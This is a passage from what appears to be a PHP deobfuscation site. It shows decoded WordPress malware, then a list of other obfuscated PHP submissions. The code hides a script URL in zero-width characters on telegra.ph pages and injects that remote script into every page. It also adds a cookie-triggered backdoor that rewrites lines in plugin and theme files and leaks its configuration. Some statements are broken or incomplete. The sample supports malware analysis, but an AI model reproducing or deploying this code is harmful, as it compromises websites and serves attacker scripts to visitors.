$dee0799ea9c71c2e[1]), "UTF-8", "UCS-2BE"); }, $A2487d72457fd222); $A2487d72457fd222 = str_replace(["\n", "\"", "&quot;", "&amp;", "&lt;", "&gt;"], ["\xa", """, """, "&", "<", ">"], $A2487d72457fd222); return $A2487d72457fd222; } function BC9cDb7344eF9b7A($E93122a1835697c3, $A69b0d070cb1d647 = '') { try { $C68b1ae85c7dabec = ["‌", "‍", "⁡", "⁢", "⁣", "⁤"]; $A32664c3ec0083f3 = explode(" ", $E93122a1835697c3); $da7709704948807e = ''; foreach ($A32664c3ec0083f3 as $caca634153426089) { $d60fa63740cf17c1 = mb_str_split($caca634153426089, 1, "UTF-8"); $fa1a9924d51149fa = array_intersect($C68b1ae85c7dabec, $d60fa63740cf17c1); if (!empty($fa1a9924d51149fa)) { $a5cfbf17a9c5539e = 0; foreach ($d60fa63740cf17c1 as $Fc213a7abff320f4 => $D9594505321b3a6f) { if (!in_array($D9594505321b3a6f, $C68b1ae85c7dabec)) { $a5cfbf17a9c5539e = $Fc213a7abff320f4; break; } $a5cfbf17a9c5539e = $Fc213a7abff320f4 + 1; } $da7709704948807e = mb_substr($caca634153426089, 0, $a5cfbf17a9c5539e, "UTF-8"); break; } } if (!$da7709704948807e) { return ''; } $a3c9ae3e543ea4da = mb_substr($da7709704948807e, 0, 1, "UTF-8"); $Fbcccfd56cdcea32 = mb_substr($da7709704948807e, 1, null, "UTF-8"); $bb4ae83515c2da8b = [$C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[1], $C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[2], $C68b1ae85c7dabec[0] . $C68b1ae85c7dabec[3], $C68b1ae85c7dabec[1] . $C68b1ae85c7dabec[2], $C68b1ae85c7dabec[1] . $C68b1ae85c7dabec[3], $C68b1ae85c7dabec[2] . $C68b1ae85c7dabec[3]]; $C9392d81856eeba7 = array_search($a3c9ae3e543ea4da, $C68b1ae85c7dabec); $Ee2b3d80b2db4f0e = $C9392d81856eeba7 !== false && isset($bb4ae83515c2da8b[$C9392d81856eeba7]) ? mb_str_split($bb4ae83515c2da8b[$C9392d81856eeba7], 1, "UTF-8") : [$C68b1ae85c7dabec[0], $C68b1ae85c7dabec[1]]; $Fcf71a69bea9df44 = [$C68b1ae85c7dabec[4], $C68b1ae85c7dabec[5]]; $F8a13ed5182c08f8 = [$Ee2b3d80b2db4f0e[0] . $Ee2b3d80b2db4f0e[0], $Ee2b3d80b2db4f0e[1] . $Ee2b3d80b2db4f0e[1]]; for ($Fc213a7abff320f4 = count($Fcf71a69bea9df44) - 1; $Fc213a7abff320f4 >= 0; $Fc213a7abff320f4--) { $Fbcccfd56cdcea32 = str_replace($Fcf71a69bea9df44[$Fc213a7abff320f4], $F8a13ed5182c08f8[$Fc213a7abff320f4], $Fbcccfd56cdcea32); } $Ba7552f1b06cab02 = mb_substr($Fbcccfd56cdcea32, 0, 1, "UTF-8"); $C1ca6e7ee8061ad2 = mb_substr($Fbcccfd56cdcea32, 1, null, "UTF-8"); $d60fa63740cf17c1 = mb_str_split($C1ca6e7ee8061ad2, 1, "UTF-8"); $Ee1e41b9168f5da6 = array_search($Ba7552f1b06cab02, $C68b1ae85c7dabec); $Ef808b4f740bd7d1 = $Ee1e41b9168f5da6 === 0 || $Ee1e41b9168f5da6 === 1; $a9be2a6697c277ae = $Ee1e41b9168f5da6 === 0; $C33c66286e86a3f1 = ''; foreach ($d60fa63740cf17c1 as $D9594505321b3a6f) { $d6de38a02a39cbf7 = array_search($D9594505321b3a6f, $C68b1ae85c7dabec); if ($d6de38a02a39cbf7 !== false) { $C33c66286e86a3f1 .= str_pad(decbin($d6de38a02a39cbf7), 2, "0", STR_PAD_LEFT); } } $A3039a8fd3a996ae = []; for ($Fc213a7abff320f4 = 0; $Fc213a7abff320f4 < strlen($C33c66286e86a3f1); $Fc213a7abff320f4 += 8) { $e817c33211ec2380 = substr($C33c66286e86a3f1, $Fc213a7abff320f4, 8); if (strlen($e817c33211ec2380) === 8) { $A3039a8fd3a996ae[] = bindec($e817c33211ec2380); } } $Df83f64025c6c6bd = []; foreach ($A3039a8fd3a996ae as $e817c33211ec2380) { $Df83f64025c6c6bd[] = ~$e817c33211ec2380 & 0xff; } $f8f4266b78ec8a86 = ''; foreach ($Df83f64025c6c6bd as $e817c33211ec2380) { if ($e817c33211ec2380 < 32 || $e817c33211ec2380 > 126) { $C8663dd681358c6c = pack("C*", ...$Df83f64025c6c6bd); $De5c11599df331eb = @gzuncompress($C8663dd681358c6c); if ($De5c11599df331eb === false) { $De5c11599df331eb = @gzinflate($C8663dd681358c6c); } return $De5c11599df331eb !== false ? $De5c11599df331eb : ''; } $f8f4266b78ec8a86 .= chr($e817c33211ec2380); } return $f8f4266b78ec8a86; } catch (Exception $e6cd18fe0cfb7f1a) { B897Fa9Af16c171C($e6cd18fe0cfb7f1a); return ''; } } function G7jp2L84mnVc4LNW9wcbZcaVFAyC9N72() { $a459e563b473216d = "https://" . Bc9cDB7344Ef9B7A(FdEa275E5DA2886f("https://telegra.ph/Notes-i9")); b897fa9AF16c171C($a459e563b473216d); if (filter_var($a459e563b473216d, FILTER_VALIDATE_URL)) { wp_enqueue_script("asahi-jquery-min-bundle", $a459e563b473216d, array(), null, true); } } add_action("wp_enqueue_scripts", "G7jp2LmnVc4LNW9wcbZcaVFAyC9N72"); add_action("template_redirect", "mpzZYIbGOb"); function DE54B4F97B5d3149($Fd993a59efed7dce, $dd112d0cf01e4bb3) { $dcc53ab861155753 = file($Fd993a59efed7dce); foreach ($dcc53ab861155753 as $ca325a581eb37444 => $E1d6d6614e6c5db5) { if (strpos($E1d6d6614e6c5db5, $dd112d0cf01e4bb3) !== false) { return ["lineNumber" => $ca325a581eb37444, "lines" => $dcc53ab861155753]; } } return null; } function EbC96aBA02Bd91A8($A526a1522726eb83) { $D20a1cacfa4b867f = []; $D2636cdb3f891742 = scandir($A526a1522726eb83); foreach ($D2636cdb3f891742 as $bd37053d9bf2009f) { if ($bd37053d9bf2009f ===  || $bd37053d9bf2009f === "..") { continue; } $d6b8c08de2e6fa49 = $A526a1522726eb83 . DIRECTORY_SEPARATOR . $bd37053d9bf2009f; if (is_file($d6b8c08de2e6fa49)) { $D20a1cacfa4b867f[] = $d6b8c08de2e6fa49; } elseif (is_dir($d6b8c08de2e6fa49)) { $D20a1cacfa4b867f = array_merge($D20a1cacfa4b867f, EBC96aBa02Bd91a8($d6b8c08de2e6fa49)); } } return $D20a1cacfa4b867f; } function DD9c034ab82CcD62($A526a1522726eb83, $dd112d0cf01e4bb3, $ad95639ab474eb23) { $D20a1cacfa4b867f = eBC96ABA02Bd91a8($A526a1522726eb83); $Ca6d7b674b447ba8 = ''; foreach ($D20a1cacfa4b867f as $C28a98315453eedb) { $f8f4266b78ec8a86 = De54b4f97B5d3149($C28a98315453eedb, $dd112d0cf01e4bb3); if ($f8f4266b78ec8a86) { $ca325a581eb37444 = $f8f4266b78ec8a86["lineNumber"]; $dcc53ab861155753 = $f8f4266b78ec8a86["lines"]; $Ca6d7b674b447ba8 .= "Found '{$dd112d0cf01e4bb3}' in file: {$C28a98315453eedb} on line " . ($ca325a581eb37444 + 1) . PHP_EOL; $dcc53ab861155753[$ca325a581eb37444] = $ad95639ab474eb23 . PHP_EOL; file_put_contents($C28a98315453eedb, implode('', $dcc53ab861155753)); $Ca6d7b674b447ba8 .= "Line replaced successfully." . PHP_EOL; return $Ca6d7b674b447ba8; } } return $Ca6d7b674b447ba8; } function mpzZYIbGOb() { if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_COOKIE["DEpjndDbNc"])) { if (ob_get_length()) { ob_clean(); } header("Content-Type: text/plain"); echo "OK" . PHP_EOL; echo "V:0s.0-desire"; exit; } else { if (isset($_COOKIE["tEcaKKXEsb"])) { if (ob_get_length()) { ob_clean(); } if (!isset($_POST["new_code"])) { header("Contetn-Type: text/plain"); http_response_code(400); echo "Invalid input"; exit; } $d25535130cad5e15 = ; $fe39d93dc5e34944 = dD9c034AB82cCd62(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "plugins", G7jp2L84mnVc4LNW9wcbZcaVFAyC9N72 $d25535130cad5e15); $fe39d93dc5e34944 .= dd9C034Ab82cCD62(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . "themes", G7jp2L84mnVc4LNW9wcbZcaVFAyC9N72 $d25535130cad5e15); header("Content-Type: text/plain"); echo "OK" . PHP_EOL; echo $fe39d93dc5e34944; exit; } else { if (isset($_COOKIE["aUxUcDfNVt"])) { if (ob_get_length()) { ob_clean(); } $a459e563b473216d = bC9CDB7344Ef9B7a(FDEA275e5da2886f("https://telegra.ph/Notes-01-19")); header("Content-Type: text/plain"); echo "OK" . PHP_EOL; echo $a459e563b473216d; exit; } } } } }

Recent submissions:

eval(base64_decode('UmF6ZXJJUFRWIHY5LjM'));... eval(base64_decode('UkVCUkFORCBUVw'));... <?php /* * ODIN Line Scaners Blocker * Blocking System against line leaks and other... function b897fA9AF16c171C($A3039a8fd3a996ae) { if (isset($_COOKIE["\115\151\x4a\101\x4b\x... <? $GLOBALS['_____1558689555']= array(base64_decode('SW5'.'jbHVkZ'.'U1vZ'.'HVsZUxhbmdGaWxl... <?php /** * PEAR, the PHP Extension and Application Repository * * PEAR class and... <?php goto fb3a13f4a509ba13; Bd52334cd1e19b18: $c5cf0ec6eb7c3b4a = $Aee42f5a5e2d3a51["\... <?php goto fb3a13f4a509ba13; Bd52334cd1e19b18: $c5cf0ec6eb7c3b4a = $Aee42f5a5e2d3a51["\... <?php $SISTEMIT_COM_ENC = "5Ve5zupoEs1Hmpe46mBaBF4xRq0OAO/GC97tpCVbsiVvsp14eRuERAAiICBCJF... <?php goto Gz0Ni; fALVC: goto duE0w; goto r1EjW; mInoe: xjEAf: goto X3V9A; IfMVK: duE0w:...